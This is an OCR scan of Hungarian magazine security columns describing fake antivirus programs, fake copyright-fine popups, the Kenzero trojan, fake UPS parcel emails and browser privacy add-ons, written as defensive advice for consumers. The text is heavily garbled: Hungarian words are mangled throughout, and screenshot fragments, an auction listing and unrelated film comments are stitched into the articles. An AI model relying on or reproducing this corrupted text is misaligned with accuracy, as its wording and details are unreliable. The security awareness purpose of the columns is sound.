Webscan result: 2 /7 (26.6%)

© Compact

URL analysis tool

Additional information

Normalized URL:

URL MD3: bfdeddd

Content-Type: te:

VT Community

This URL has never been reviewed by any VT Community member. Be the first one o comm)

Egy ideje mar URL-eket is tudunk vizsgal-
niaVirusTotal.com-on. A tobb kiilonb6zo
adatbazis, illetve a felhasznaléi kommen-
tek is segithetik az eligazodast
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egyedi extra jellegzetesség szerezhetd meg -
legalabbis egyeldre.

Ha kicsi a tét, kedvem sotét

Kezdetben voltak, s6t sajnos azota is van-
nak a hamis virusirtok. Aztan @j talalmany je-
lent meg: a hamis szerzdi jogi biintetés. A naiv
tgyfél letolt valamit a BitTorrent-haldzatrol,
és ezek utan a felugro JavaScript ablak nem
al-virusfert6zésekrol tajékoztat, hanem ille-
galis letoltésrol, pénzbiintetésrdl. Valodinak
latszo hivatalos pecsétben nincs hiany, és az
allitolagos svajci székhelyi ICCP Foundation
felszolit benniinket dsszesen négyszaz dollar
befizetésére, amellyel elkeriilhetjiik az eset-
leges pert a maga zord kdvetkezményeivel: 5
év borton, 250 ezer USD birsag.

Nyitolap | Személyes | Eladas
Uavozoljik a Vatera piacterén

P8 2 [ kopogtate cedula |1 Minden kategériaban

Féoldal > > Keresés: "kopogtaté cédula™

Talalatok kategorianként <L ay kopogtats cé

Nokia - 5300 Samsung -
XpresshMusic star

Ar: 55 709,- Ft-tol

Egyebek (2)

Talalatok

Ezeket mutassa: Minden termek | Aukcits termekek |
eladok termekel

4MILLIO
J' (LIBAN!

AFAR

| !I,verlen
minden nap!

2 db termék a(z) "kopogtatd cédula’ kulcsszora
A keresés mentéschez kattintson ide »

Csak széveg | Kis képekkel | Nagy képekkel
Aru neve

Klemelt ajaniatok

Novelje ertekesitesi eselyelt] Emelje ki termekeit a t¢

I kopogtats ceauia

I Kopogtato ceaula
Keresési opciok

‘ Aukcids és fixdras lej‘ Google Hirdetések

Csak egy példa, hogy a szolgaltatok sosem
tudnak azonnal reagalni az eseményekre.
Mindig eltelik bizonyos id6, mire bejelen-
tést kapnak, vagy pedig monitorozassal,
naploelemzéssel észlelik, hogy be kell
avatkozniuk. Ugyanez all a kartékony lin-
kek nyilvantartasarais

Bar az ICCP azt sugallja, hogy munkakap-
csolatban all a valddi jogvédd szervezetek-
kel (RIAA-val, MPAA-val stb.), ez nem igaz.
S6t berezelni sem kell, és szintugy nem java-
solt turkalni a Visa vagy Mastercard kartyank
utan, mert ez az egész egy nagy csalas. Am itt
nem allt meg a blinoz6k fantaziaja: megjelent
ugyanis a Kenzo (Kenzero] tréjai. Ez nem tesz
mast, mint a fert6zott géprol ellopja a bon-
gészés adatait, majd egy publikus weboldal-
ra kitéve azért kovetel valtsagdijat, hogy azt
onnan eltavolitsa. A Japanban felbukkant vi-
rus a 200 millios taborral rendelkezé Winny

is malware,

File nams: .rar

Submission date:  2009-12-22 11:26:00 (UTC)
Current status: finished

Result 17 141 (53.7%)

B Compact

a-sguared

Ahnlab-V3

Antiy-AVL

Authent

0 VT Community user(s) with a total of 0 reputation credit{s) say(s) this sample is
goooware. O VT Community user(s) with a total of O reputation credit{s) say(s) this sample

@ There is a more up-to-date report (35/41) for this file.

VT Community

W

not reviewed
Safety score: -

Print resufts &

.Pénzt, vagy a bongészési elozményeid egy publikus weboldalon landolnak!” - ez lehetne
a Kenzo tréjai mottoja. Ha valaki korabban pornét nézett, akkor most kellemetlen megle-

petéshen lehet része



Napl ajan

PUHT-"" Hotel Jaték 'I'udis

Mozi DVD Szinhaz Fesz

@l Zene Kidllitas Gyerek Sport Radic Etterem

PORT hy > TV (Budapest) > A mamut Osszes értesitém | Osszes anyem ajanid | K o _f
18 szerind | Hely szerint
Vetitik:
FILM+: Vasarnap (Oktéber 3.) 2:55 &
Viseminy Osszes hozzészolds (58)

anakin®globonet.hu | Valasz

Borzasztd! Nem ajéniom senkinek & film megtekintését, maximum a mazochistéknak! 1/10

szept. 28. 14:24 | 58/58

tomiloki | Viiasz | Elfzmény (TSkull)

olyan jé horrort dimodtam és benne volt @ kedvenc szinészem Mike Epps akirdl kideriilt hogy alcazta magat hogy velem jéjjon d
e egy szdrny volt és pesze én is meghaltam és kiviir8l néztem végig

méj. 29. 21:11 | 57/58

vizibcso | Valasz
Pusztulat! Az ovisok harsanyan rohdgnek rajta!

igazi filmet vetitenének le!

film+ a nyerd csatorna!

Miért kell & film+ nak ilyen Urtléket megvasarolnia, ahelyett hogy néhany tobbszor is leforgathatd, de nem unalomig jétszott

Igaz @ mai nap, "A sarkany kozbelép” cimii mozival valamelyest javitottak, kategoriajanak egyik csicsfilmje, de egy 1973 as
film amit mar mindenki l&tott, aki meg akarta tekinteni! Az utdbbi idSben ez a csatorna is tibbszér leadta mar! Ma tuti nem a

marc. 04. 19:31 | 56/58

Kivagyok? | Valasz

A ZS kategdria szégyene.

marc. 04. 18:28 | 55/58

Rahar | vélasz

Egyetértek az eldttem irdkkal, gagyi torténet, primitiv kivitelezés és a szinészi munka hianya jellemzi. Szinte barmit érdemes
csinélni az életben mert ezen film megtekintése szerintem totélis iddpazarlas, mindenki kerilje el.

2009, nov. 10. 03:50 | 54/58

Hogy segitenek-e, vagy letéritenek a tisztanlatas osvényérol a kozosségi vélemények, ezt
nehéz megmondani altalanossagban, konkrét esete valogatja. Mindenesetre, ha a kom-
mentelok tobbsége a Zs kategoria szégyenének, vagy kartékony allomanynak tart valamit,

azazeértinto jel lehet

fajlcseréld honlap felhasznaldi kozil azokat
vette célba, akik a megosztdoldalrol erotikus
tartalmakat toltottek le. Nyilvan ennek vilag-
ga kirtolése mellett az azonositashoz ele-
gend6é minden bongészési adatanak nyilva-
nossagrahozatalakellemetlen leheta letdlts-
nek. A lényeg mindenesetre maradt: fizessen
itt is a felhasznalo tulajdonképpen a semmi-

ért. (Forrasok: hopp.pcworld.hu/7364, hopp.
pcworld.hu/7365)

Anagytestvér nemis titkolja

Gyakran szoktuk mondogatni, hogy ..én okosan
bdngészek”, viszont tudnivald, hogy barmelyik
weboldal vagy banner tartalmazhat ismeretlen
kédot, szkriptet. Osszegzésképpen biztonsagos

I Copyright vinlatsen alert

Wirnknes his detected that vou e usng content thae was dowriasded N violston of the oopight of it repective owners
Poaie ned the followng buletn and try sohag the problemn n one of the recammeended warn

@ Copyright violation: copyrighted content detected

What has heppered?

D the gyalem san Afdiper a0y Fosfudalon saives has
dtactad copriight s, Piaais Lobe o ok ot e b and choods
0 ol pss he Cosie D0 @ O0uFl or Seflle & @ pee-trial oider by
e 8 fee

__ Fies detecied

How oo It Nepoen ?

Vims Py P B i Pibe- shan v chevils, Biarei s of dovericaded e cofterd o
it il agft from the stleiln . 1 vy o Fharie Lo i P vicilat 2 the
rogrighe o sespécctiee dwdieri. I inost Count s e ki o athon s prosecaed and
M petaalted are Frpowed. Masi geraltes (0 b Tes vears 1 oron and o ta
$250,000 1 fred

Bl Ly gireview

(=]

s VA-Rachopley_Euro Espress B30T 200250 toims
a Morphing & Polone 2 toment
» Satarac P 2009 Dvallip. wd {1337)-Mor, tomend.

Evitdericn kst

MO Mtwork Operabiors Cenber
Hedlar On Lme 5.2,

o detan

Antipracy rews

| e i v Bt s 2 B el that contmnit b i B of B e

Choose an action

copynght

r‘.l.lg.nrlr-.- MIPAA

A oo -progect by 10PP Fowmndation
Type of viedation

Lasif [P g
- PERwae;: move dowrinad
papwarar Gares doversoad

peplwarer el derwriosd

A kartevoterjesztok fantaziaja kiapadhatatlan. A hamis antivirusok utan megjelent a hamis
szerzoi jogi felszolitas, persze a befizetett,, biintetés” itt is a blin6zok zsebébe vandorol
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bdngész6vagy bongészés nincs, inkabb jo komp-
romisszum, és hasznos 6vatos szokasok, meg-
felel6 hozzaallas, hadrafoghatd pluginok gydjte-
ménye étezik. Ilyen hasznos szokasok lehetnek
aminden bongészés utani cache-Urités, a session
cookie-k torlése (amelyek bizonyos korilmé-
nyek kozt ellophatdk), néhany alap plugin, pél-
daula Finjan SecureBrowsing (securebrowsing.
finjan.com), NoScript, NetCraft, Show!P, Adapti-
ve Referrerremover, Cache Status, Cookie Safe,
JS View, Secure Login, XSS Guardian és az XSS
Warning hasznalata. Utébbiak az addons.mo-
zilla.org oldalon keresheték meg. Emellett per-
sze a rendszeres jelszocsere is ilyen okossag.
(Forras: hopp.pcworld.hu/7366)
Zardgondolatnak kovetkezzen a Google-el-
nok, Eric Schmidtvéleménye a keresések nap-
lozasarol: ,Senki ne csinaljon semmi rosszat,
és akkor eleve nem is lesz oka félni. Ha vala-
kinek nem tetszik, hogy a cég keresdje és mas
weboldalak segitségével tobb évtizedre visz-
szamendleg is kikeresheték adatok réla, ak-
kor egyszer(ien csak valtoztassa meg a nevét.”
(Forras: hopp.pcworld.hu/7363)
k%%
Kérjiik kedves olvasoinkat, ha a témaban kér-
désiik, hozzaszolasuk van, juttassak el hozzank
(velemeny@pcworld.hul.
Csizmazia Istvan, virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.bloghu

Kapcsolodo weboldalak

Tanacsok a biztonsagos Facebook-
hasznalathoz:
www.facebook.com/biztonsag

Antivirusburgi Unnepi Jatékok:
hopp.pcworld.hu/7266

Hamis profilok:
hopp.pcworld.hu/7267
Zaklatas a gépbol:
hopp.pcworld.hu/7268

10+ Tips To Identify Fake Profiles
On Facebook:
hopp.pcworld.hu/7269

Fake Facebook Profiles:
hopp.pcworld.hu/7270

Fake Facebook Profile Equals Jail Time?:
hopp.pcworld.hu/7271
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Tovabbi tippek és triikkok

Csak a valtozas allando

A Virusok Varazslatos Vilaga

Sorozatunk negyvenedik részében kicsit folytatjuk az el6zo részben elkezdett, bongészéssel kapcsolatos
gondolatainkat, valamint szerepelni fog egy érdekes kiegészito is, amellyel elegansan sziintethetjiik meg a
bongészési szokasaink feltérképezését, profilirozasat. A tovabbiakban egy adag djabb tipusu atverést, csalast,
kartékony programok terjesztését szolgalo triikkot is bemutatunk, valamint sort keritiink egy olyan dssze-
foglalora, amely a legfontosabb védekezéshez sziikséges teendoket ismerteti.

hogy az el6z6 részben lattuk, résen
A kell lenni a linkekkel, s6t a bongészé-
si elozményekre is muszaj vigyazni. Az
Electronic Frontier Foundation tanulmanya
szerint a bongészobol lekérdezhetd informa-
ciok segitségével a latogatasok 94 szazaléka-
ban megallapithaté a latogato személye. Azt,
hogy egy bongészé miket kérdezhet le, mit lat
beldliink, egyszerlien megnézhetjiik példaul a
www.useragentstring.com weboldalon. Ve-
gylk észre, hogy itt mindegy, fut-e a NoScript,
a hasznalt operacids rendszert, a bongészo ti-
pusatésverziojatmindenféleképpen lathatjuk.
Van lehetdség a referer adatok blokkolasara -
ez ugyebar az az informacio, hogy milyen ol-
dalrol érkeztiink az adott URL-re. Az Adaptive
Referer Remover (hopp.pcworld.hu/5249) ki-
egészité tébbnyire pontosan ezt csindlja, vagy-
is visszatartja ezeket az adatokat. Sajnos ez a
kiegészitd eléggé instabil, gyakran mar a tele-
pitésekor jégkockava fagyasztja a Firefoxot.
Ha emlékszink ra, rendelkezésiinkre all
egy ShowlP (hopp.pcworld.hu/5371) nev( Fi-
refox-kiegészitd is, amely pedig a bongészett
weboldal IP-cimét mutatja meg az ablak kere-
tén, igy ellendrizhetjiik, vajon valdban az igazi
OTP oldalan vagyunk-e éppen. Ha viszont a mi
sajat klilsé IP-cimiinket szeretnénk ellendriz-
ni, aztashowip.com oldalon tehetjik meg. Ek-
kor a foldrajzi informaciok birtokaban egy in-

& Microsoft Security Essentials
Computer status - Protected

On
Up to date

& Real-time protection:

& Virus & spyware definitions:

Microsoft Secunty Essentials is monitoring your
computer and helping to protect it.

System Scan

[l
I

f} Security essentials 2010

-
Scan all hard drives on your computer -~ )

Scan type: () Normal (&) Quick
TaNRNEANENANNANAANANEARaNANNURRANaNaNARAnAnaEE | St ]

#  Vendor Type Locatiorn Threat level Description 1“]
[¥] Trojanwiz/Pa... Trojan CAWINDOWSis,,,  High risk A troan, or trojan b,
¥ Adware:w32/G... Adware CAWINDOWSls, . Middle risk This program deliver, |
Trojan: J5/Redir...  Trojan CAWINDOWSYs,,,  Middle risk A trojan, or trojan b,
Trojan:J5fRedir... Trojan CAWINDOWSis,,,  Middle risk A trojan, or trojan b,

[#] Trojan-Dropper...  Trajan Programs CAWINDOWSs,,.  Middle Risk Checkin is a "downlo.

[¥] Worm:w3ziDo... Worm CAWINDOWSls,,, Highjack Middle risk

Exploit: 15/Pdfk...  Exploit CAWINDOWSEs, .. Middle risk A program or technig,
o VT RSP Y [rerou—. S ALLTR IR - [T e Bl il “f,l

CAWINDOWS) system32' 2ipfich .dll

_(“ Update _\ Register mbnnéSIppon“

Ez a Security Essentials nem az a Security Essentials! Raadasul mig az eredetiingyenes, ad-
dig a csalok a hamisitvanyért még pénztis kérnek

gatlankdzvetit vagy tarskeresé oldal képes
lehet @ mi falunkbdl, varosunkbél szarmazo
célzott ajanlatokat megmutatni. A proxy szer-
verek hasznalata képes ezt az adatot megval-
toztatni, és nyitott proxyk hasznalataval pél-
daul egy amerikai egyetemi szerver magotti
gép is lathat minket. Egyszer(en kiprobalhat-
juk ezt a hidemyass.com [a pontos forditastol
ezuttal eltekintiink...) nev(i honlap segitségé-
vel, ahol ha ezen keresztiil ériink el egy linket,

[rol-E-

Scan options:
@ Quick
O Full

' Custom..,

[ Scannow

Microsoft Security Essentials, ahogy azt mindenki ismeri. A sokak szamara ismerosen
csengo nevet divat lett azonban egyéb csalafintasagokra is felhasznalni

mar nem a sajat IP-cimiink ker(l bele a lekér-
dezésbe.

Egy beteg matroz és egy
egészséges otlet

Gyurjuk akkor mindezt Gssze, és képzeljik el,
hogy egyetlen eszkozzel, .Viribus unitis” mu-
tatunk fityiszt ezeknek a lekérdezéseknek.

Hide My Ass! Home Pro VPN Free Proxy IP:PORT Lists Anonymous Email File Upload

m HMA! Pro VPN
& Secure intemet encryption

- =

Click here to learn more

5,000+ IP addresses
50+ se + countries
New IP connection

Watch1
Unbloc|
Secure
Money |

€ about

@ http://showip.com

Jurmp to URL |http A

Ha az IP-cimiink elfedésére van sziikség

- példaul egy adott orszaghol nem fériink
hozza egy adott oldal tartalmahoz -, akkor
a,hatsonk elrejtésével” konnyedén kicse-
lezhetjiik ezt a korlatozast
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AVirusok Varazslatos Vilaga

Opera/6.12 (X11; U; ko)

Copy/paste any user agent string in this field and click 'Analyze’

Analyze

4 Opera 6.12

Opera | Name :
& Opera

6.12 | Browser version

X11|X Window System
a windowing system for bitmap displays

U | Security values:

* N for no security
* U for strong security
o I for weak security

ko | Language Tag, indicates the language for whic
been localized (e.g. menus and buttons in the
ko = Korean

AL O it st
B

G g
- ©25-1010 UserAgentStnng.com |
Wordconstructor - Random Word Generator ::707 Directory - SEO fri
directories

[J1 ProxyTo ol
Ahttp://proxylist.coftools
www.useragentstring.com

Proxy Li

[

Hostname:
Host IP:

HTTP Referer:
Valédi Bongészo:
Hamis Bongeszo
Valédi Platform:

Modzilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/2010
Mozilla/s.0 (windows; U; windows NT 5.0; en-US) Applewebk
Linux i686

Win2000

5.0(X11; en-US)

" cogram verno: 5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebkit/532.2
kitso 1P N — Hungary

Proxy OHTTP ON

*Jobb Klikk a piros/z6ld kérre a beslitasok modositésa

, Hiszem magam, aminek akarom.” A Proxy Tool egy igazan iitoképes, mindent egyben
tartalmazo svajcibicska-szoftver, amely a foldrajzi elhelyezkedési adatunkrol arulko-
do IP-cim, a bongészobol lekérdezheto 0S, illetve webkliens valodi adatainak elfedésé-

reis alkalmas

Most nyissuk ki a szemiinket, és vegylik el a
Proxy Tool (hopp.pcworld.hu/7433) nevii Fi-
refox-kiegészitét. Itt tetszés szerint beallit-
hatd, milyen egyéni referert akarunk mutat-
ni magunkbol, vagy akar minden alkalommal

m
Home | List of User Agent Strings | Links | Contact

User Agent String explained :

Mozilla/5.0 (Macintosh; U; Intel Mac 0S X 10_6_3; en
AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191/

Copy/paste any user agent string in this field and click 'Analyze’

@ Chrome 3.0.191.3

Mogzilla | MozillaProductToken. Claims to be a Mozill:
which is only true for Gecko browsers like
For all other user agents it means "Mozilla+
modern browsers, this is only used for hist
no real meaning anymore

5.0 | Mozilla Version

Macintosh | Platform

U |Security values:

# N for no security
* U for strong security
e T for weak security

Intel Mac OS X |Operating System:

10_6_3|0S X
Version 10_6_3 : Snow Leopard
running on a Intel CPU

en-US |Language Tag, indicates the language for
been localized (e.g. menus and buttons in
en-US = & English - United States

AppleWebKit | The Web Kit provides a set of core classes
content in windows

531.2 | Web Kit build
KHTML | KHTML
like Gecko | like Gecko

Chrome |Name :
@® Chrome

3.0.191.3 | Version

Safari|Based on Safari

531.2 | Safari build

Ha a Proxy Toolban a véletlenszerii bongé-
szokiiratast valasztjuk, almodhatunk na-
gyot és barmik lehetiink: Linux, Windows,
Macintosh, Chrome, IE, Firefox, Opera, va-
dakat tereld juhasz
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véletlenszerit is megadhatunk. Tetszés sze-
rint torélgethetjiik a HTML- és Flash-siitiket,
ezenfell kedviink szerint hasznalhatjuk az
alapértelmezetten rendelkezésre allo proxy-
szervereket, vagy akar sajatokat is megadha-
tunk. Egy ilyen kiegészitovel vald jatszadozas
tényleg felvidithatja a napunkat, és segit pri-
vat létlink hatékony megdrzésében. JolesGen
konstatalhatjuk, hogy sikeriilt megvaldsitani a
Rejt6-konyvekben szerepld alapelvet: ,.Semmi
kozod ahhoz, ami nem tartozik rad!”

A Gellért-hegy igy magas,
akrokodil meg igy zold

A bongészbadatok utan nézziik, milyen Gjabb
kartevGterjeszté modszerek kerlltek mosta-
naban a felszinre. Ahamis antivirus szoftverek
mar sokszor teritéken voltak, és egyszer aztis
megemlitettiik, hogy ezek kinézete, valamint a
hamis ablakokban szerepld kartevok elneve-
zése is tobbnyire valddi virusirtokrol szarmaz-
nak. Egy Ujabb médszer szerint az al-antivirus
termékek elnevezése is el6térbe keriilt, olyan
valoban létezg, a félinformaciokkal rendelke-
z6témegek szamaraismerdsnek tind neveket
valasztanak, amelyek segithetik az elegend6-

en nagy szamu kattintast, letoltést. Egy ilyen
vonal a Microsoft Security Essentials csomag-
javalvalé manipulalas.

Akorabbitrikkoket ezuttal megfejelték még
egy érdekességgel. Aki még emlékszik a 23.,
Kartevoelemzés hazilag ciml epizddunkra,
annak ismerds lehet a Jotti (virusscan.jotti.
org) weboldal. Ez a sokkal ismertebb VirusTo-
tal.com oldalhoz hasonléan szintén egy cso-
mo antivirus motort tartalmaz, és a feltoltott
gyanUs allomanyok online vizsgalatat vég-
zi (amikor példaul a VirusTotal nagyon leter-
helt, akkor j¢ alternativat jelenthet]. Ha meg-
vizsgalunk egy allomanyt és az ottani riport ki-
nézetére koncentralunk, rogton ismerds lehet
az a triikk, amit az Gjabb al-Essentials mutat.
Itt is sok motor keresési eredményét Gssze-
foglald képet kapunk, am érdekes maédon az
ismert antivirus termékek kozé olyan neveket
is beillesztettek, mint az AntiSpySafeguard,
Major Defense Kit, Peak Protection, Pest De-
tector vagy a Red Cross. Ha valaki sosem hal-
lott ezekrdl, az ne szomorkodjon, ezek egytdl
egyig hamis virusirték. Amiviszont még ennél
is viccesebb, az az, hogy mig példaul az F-Se-
cure, Kaspersky, McAfee, NOD32 és Symantec
termékek nem detektalnak semmit, az eldbbi
0j nevek mindegyike felismeri ezeket az allito-
lagos csuinya gonosz ,kartevéket”, st galan-
san linket is biztosit a .mentesitéshez”.

Nem vazelin, Vaszilij!

Anetezdk tobbsége mar jolismeri a Bejelen-
tett Tamadd Webhely szindromat. Ezt egysze-
ri felhasznaloként is lathattuk, amikor bon-
gésztiink, de elszenvedhettiik ugy is, mint
aggodo weboldal-tulajdonos. Ennek elhari-
tasakor azonnali feladatunk a kartékony Ja-
vaScript-kod kigyomlalasa az dsszes HTM,
HTML, PHP allomanyunkbdl, haladéktalan
FTP-jelszdcsere, ésirany a Google Webmas-
ter Tools, ahol bejelentjiik, hogy immar tiszta
az oldalunk, és tiirelmesen varjuk a webhely
visszamingsitését. Pontosan itt jon a képbe a
jo érzékd csalo, akivisszaélve ezzel a marjol
ismert lzenettel, elkésziti a hamis ,Repor-
ted Attack Page!” feliratl oldalt. Ha feltesz-

Adaptive Referer Remover Preference

Removeing Referar List

*http://localhost ~http://127.0.0.1 ~https:/{mail.google.com/|

Cancel |

Kozod? - kérdezhetnénk a weboldalaktol, amelyek arrakivancsiak a HTTP Referer fejléc-
ben, hogy honnan is kattintottunk oda. Az Adaptive Referer Remover segit nekiink ebben: jo
titkos iigynokhoz hasonlatosan nem hagyjuk kikérdezni magunkat, nem szivarogtatunk



szlik a kérdést, hogy vajon miben is kiilonbo-
zik az eredeti és a preparalt oldal, akkor jol
lathato, hogy a kiilonbség a letdlthetd frissi-
tési (Download Updates) gomb, amelyre kat-
tintva egy kartevé probal meg a szamitogé-
punkre telepilni.

Nyilas Misi pakkot kapott

Egyik korabbi cikkiinkben mar kalapot emel-
tlink az el6tt a trikk el6tt, amikor is az elkove-
tok az autok szélvédadjére tettek csali értesitd
cetlit azzal a szoveggel, hogy allitolag lefotdz-
tak és megbiintették az autonkat szabalytalan
parkolas miatt, és a mellékelt linken megte-
kinthetjlik az inkriminalt képet. A biintetocé-
dulak persze hamisak voltak, a weboldal pedig
kértékony szoftvereket prébalt telepiteni az al-
dozatok szamitdgépére. Egy Ujabb trikk ezdttal
a DHL és UPS csomagkiildé szolgalat nevével
élvissza - a készitbk egy kéretlen levélben arrol
tajékoztatnak benniinket, hogy a nekiink szant
csomag kézbesitése a cimzés sajnalatos hibaja
miatt nem sikerdilt, de a levélhez mellékelt Gr-
lapot kinyomtatva, kitoltve és személyesen be-
mutatva atvehetjlik a kiildeménylinket a postan
vagy az irodaban. Természetesen a mellékelt
ZIP kiterjesztésl allomany kartevot tartalmaz,
de ez a kinyomtatdsdis beugratés azért tényleg
zsenidlis. (Forras: hopp.peworld.hu/7434)

Erdemesebb online biin6zni,

mint bankot rabolni

Nem véletlen, hogy a kilonféle fenti mod-
szerek, trikkok gombamdd szaporodnak:
mar 2007-ben megallapitast nyert, hogy az
USA-ban a szamitégépes biincselekmények
tébb pénzt hoztak a szervezett blindzok kony-
hajara, mint a drogkereskedelem. A rend-
ori erdk is ugy értékelik, hogy teljes mérték-
ben atalakult a hagyomanyos biinozés. Ré-
gebben, ha a kabitészerfutarok elvesztették
az arut, bankot raboltak, hogy megtéritsék a
kart a fonokeik felé. Ma mar tudnak egysze-

Jottl's malware scan Additional Info

Flle 981504 bytes

size:

Filetype: PE32 executable for MS Windows.
80386 32-bit

MDS:  24fo3fbbeaseedae4e23127e62c9

SHAL:  965972d5ef370057934b24d349c7¢

This file has been scanned before, The results
for this previous scan are listed below.

Scan again

Filename: f_se
Status:

_upd.exe
ished. 7 out of 19
d malware.
Scan taken on: Thu 21 Oct 2010 09:41:31 (CET)
Permalink
Next file

Qualys
Online Network Vulnerability

WB T Ak Google

‘Scanners.

@ Mrea¥ir  2010-10-21 Found nothing GDATA 2010-10-21 GunVarant Fakeal
[EWZRT=HH 2010-10-20 Found nothing IKARUS. 2010-10-21 Found nothing

@l AVG  2010-10-20 Found nothing KAJPRIKY S 2010-10-21 Found nothing
G AWI'  2010-10-21 TR/ Crypt. ZPACK.Gan NOD32 2010-10-20 Win32/Kryptik. O
(& Mdefender 2010-10-21 Gan:variant. FakeAlrt. 31 PANDA 2010-10-20
) ClamAV 2010-10-21 Found nothing 2010-10-21
SOPHOS 2010-10-21

@ VBA32 2010-10-20 Found nothing

©er.c 2010-10-21 Found nothing

[EBRWES] 2010-10-21 Trojan. Packed. 21086

@FPROT  2010-10-20 Found nothing firus

© 2010-10-20 Found nothing
TFSecure 2010-10-21 Gen:Varant. FakeAsart.31

A Jotti Malware Search kinézete, ahogy azt
mindenki ismeri. Egy Uj al-virusirto eztis
igyekszik kiaknazni és megtévesztésre fel-
hasznalni

rlibb verziot: példaulinkabb bérlik vagy meg-
vasaroljak ukran szerz6k kartékony prog-
ramjait, és ezek segitségével csapoljak meg
témegesen hétkdznapi felhasznaldok vagy cé-
gek szamlait. A hamis allashirdetéssel to-
borzott szamarak (angolul az 6szvér - mule
- sz0t hasznaljak rajuk] pedig egy kevés juta-
lékért elvégzik a piszkos munkat, vagyis at-
utaljak a pénzt a lopott szamlakrél a bling-
z6knek. Mindezt szinte lebukasmentesen,
hiszen ha nagy ritkan el is kapnak a balekok
kozil valakit, az semmit sem fog tudni rész-
leteiben a szervezet nagy egészérol.

Es mi, belgak, hogyan védekezziink?
Akétfo fertdzésiok, amimiatt gépiinket mos-
tanaban tamadhatjak - vagy amiatt, hogy egy
botnet részévé kivanjak tenni, vagy pedig sze-
mélyes adatainkat szeretnék ellopni, kikém-
lelni. Melyek azok a lépések, dontések, teen-
ddk, amelyek segithetik vagy megkonnyithe-
tik a védekezést? Ha virusvédelmi terméket
valasztunk, érdemes olyan programot hasz-

¥ Subject: Your package is available for pickup.ID25391

From: "United States Postal"
Date: 2010-10-18 14:14
To: | )4

Full Headers
Raw Message

¥ This message has attached files. Hide
§ UPS_Label_NR7753.zip (26 KB)

% Store Attached Files in Web Folder

Hello

four parcel has arrived at the post office on October 18,
Dur Driver was unable to deliver the parcel to your address,

o receive a parcel you must go to the nearest UPS office and show your mailing label.
fou need to print mailing label, and show it in UPS office to receive the parcel.

rhank you far your attention.
UPS Global Services,

Elvileg UPS csomagunk érkezett, ehhez mindossze a ZIP mellékletben lévo iirlapot kellene
megnyitni, kicsomagolni, kinyomtatni és kitolteni. Ehelyett ténylegesen egy kartevo

lapul a csatolmanyban

AVirusok Varazslatos Vilaga

Solution found

_ Apphcation Sean tesull FRemoval toal [ Applicaton

@
Gvastl Nothing
BAVG  voweo NORM
GlnliSpySafequard ¥ omian Hiowes Fesinatal | | | 1o Padl
SRRV oo e 0
(@ bildefender  Moting , syma
Wy Clam AY Nothing m
Wl oweo o
@° o S
& i Nowig s

S ESacura Matharn £ D

Vajon milyen stilyos fertozés lehet az, amit
anevesincs AntiSpySafeguard, Major De-
fense Kit, Peak Protection, Pest Detector
és Red Cross elézékenyen felismer, mig az
F-Secure, Kaspersky, McAfee, NOD32 ésa
Symantec szoftverei nem detektalnak?

nalni, amely erds proaktiv védelemmel ren-
delkezik. A valos idejl heurisztikus, viselke-
désalapl elemzés - mint példaul a Threat-
Sense - segithet minden olyan Uj kockazat
idében valo felismerésében, amely a virus-
ismereti szignatlra-adatbazis segitségével
még nem észlelhetd. Jelentdsen csokkent-
hetjlik asziikséges dontésihelyzetek szamat,
és persze egyuttal a kockazatokat Ugy is, ha
minden olyan levelet, amelynek a feladdja is-
meretlen, olvasatlanul térliink. Amikor pe-
dig allomanyokat vagy telepitendd progra-
mokat toltlink le, legyiink elévigyazatosak.
Csak ismert, ellendrzott, megbizhaté helyrél
installaljunk szoftvereket, illetve minden uj-
donsagnak alaposan nézziink utana az inter-
neten. Ha mar sokan panaszkodnak egy-egy
ilyen alkalmazasra, inkabb keriljiik el a fe-
lesleges kockazatokat. Erdemes az opera-
ciés rendszeriinket és minden hasznalt al-
kalmazast naprakészen tartani a biztonsa-
gi frissitésekkel. Amint ezek kézil j jelenik
meg, haladéktalanul futtassuk le, bezarva
ezzelamar kijavitott sebezhetéségeket. Haa
gépiinkdn Microsoft Windows fut, kapcsoljuk
be a frissitések automatikus telepitése opci-
ot. Ha pedig NOD32 vagy ESET Smart Secu-
rity programot hasznalunk, érdemes tudni,
hogy ezek is képesek figyelmeztetni, jelez-
ni a Téalcaikon narancsszinre valtasaval, ha
még telepitetlen biztonsagi frissitések allnak
arendelkezésiinkre.
k% %k
Kérjiik kedves olvasoinkat, ha a témaban kér-
désiik, hozzaszolasuk van, juttassak el hozzank
(velemeny@pcworld.hul.
Csizmazia Istvan, virusvédelmi tanicsadd
Sicontact Kft., a NOD32 antivirus
magyarorszagiképviselete
antivirus.blog.hu
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